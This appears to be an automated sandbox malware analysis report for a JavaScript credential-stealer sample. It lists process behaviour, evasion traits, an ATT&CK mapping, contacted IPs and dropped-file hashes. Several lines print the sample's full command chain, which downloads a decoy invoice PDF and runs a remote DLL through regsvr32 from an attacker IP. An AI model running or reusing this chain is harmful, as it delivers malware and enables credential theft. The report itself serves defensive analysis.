Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4750			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5070			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7600	Thread sleep count: 4750 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7600	Thread sleep count: 5070 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7892	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8164	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1457666010.000002AC9B498000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`pQ
Source: net.exe, 00000007.00000003.1449297697.000002AC9B513000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2629806613.000002734902F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2631918998.000002734E65A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1525641771920916745.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer
1525641771920916745.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/5	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1351874980.0000018A5318C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2631713090.000002734E610000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/5	net.exe, 00000007.00000002.1457666010.000002AC9B498000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1453843137.000002AC9B4E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1449297697.000002AC9B4FF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1455598307.000002734E490000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588638
Start date and time:	2025-01-11 03:30:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1525641771920916745.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 34.237.241.83, 50.16.47.176, 18.213.11.84, 54.224.241.105, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 2.22.242.11, 2.22.242.123, 23.200.0.21, 23.200.0.33, 192.168.2.9, 13.107.246.45, 52.149.20.212, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:31:12	API Interceptor	21x Sleep call for process: powershell.exe modified
21:31:16	API Interceptor	1x Sleep call for process: net.exe modified
21:31:16	API Interceptor	2x Sleep call for process: svchost.exe modified
21:31:24	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853872402647317272.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2920450291176811805.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.493188433948361
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaR:cJhXC9lHmutpJyiRDeJ/aUKrDgnm7
MD5:	E29AA91E0DB3126141D69AB84A89A8D8
SHA1:	C09D7A53966898C3EE81B9F1C4695EA1C6483574
SHA-256:	11B6E917A928FFFC1A7054E41D8608E54F15FBDDBC88CF2B82360A7F27CB069C
SHA-512:	DC9676043900182D86596D02F67D2E84648C56277A9EA7E0432011C1F5CF6AD07C8F9A11769C6DB554A0DD440E5147B540902FF4C79FCADD996580B1239E7CA8
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xdc803145, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216814700854125
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:TazaNvFv8V2UW/DLzN/w4wZi
MD5:	D89F39C733CA885ED62FD3E71228B893
SHA1:	6AE04309D6FA0BC9F2B2C522172BBDAE204CD26B
SHA-256:	D3354D5459130840141B2E7C65D14A359A01122CB6B350E921BD5F6F5400411C
SHA-512:	9D12CD295161702389CCEAEB8DB55F12370F8148CF155CB799CADC4BCC8975701A647484A42B82B1660A78D6AB4D3C360A804EA9CCCDE2D42E154412CB41982A
Malicious:	false
Preview:	.1E... ...............X\...;...{......................p.D..........{}......}'.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................T-.......}E..................E.k.....}E..........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0816461195700217
Encrypted:	false
SSDEEP:	3:S+tEYeDvRM6/fgsCrZClW/t2zoll+SHY/Xl+/rQLve:S+tEzDvRRfgs3GlAS4M
MD5:	1576D552530C53FB569633B5E54D9946
SHA1:	10ACB4E441CE1267CBFBFBBC090F5CD7D9EF2D5F
SHA-256:	174834FB7F16DCF060A9A56BF4D0CFCC092BE24928C99A42B3CA99257391FCFA
SHA-512:	FDA721B42161AE309054742EA613417EF846E3EE98741B0A1DD74B8266D3D2A0EF4AB0537D3B58A4EAB75793DEAF97086328DA024244C33C8853626C96328B96
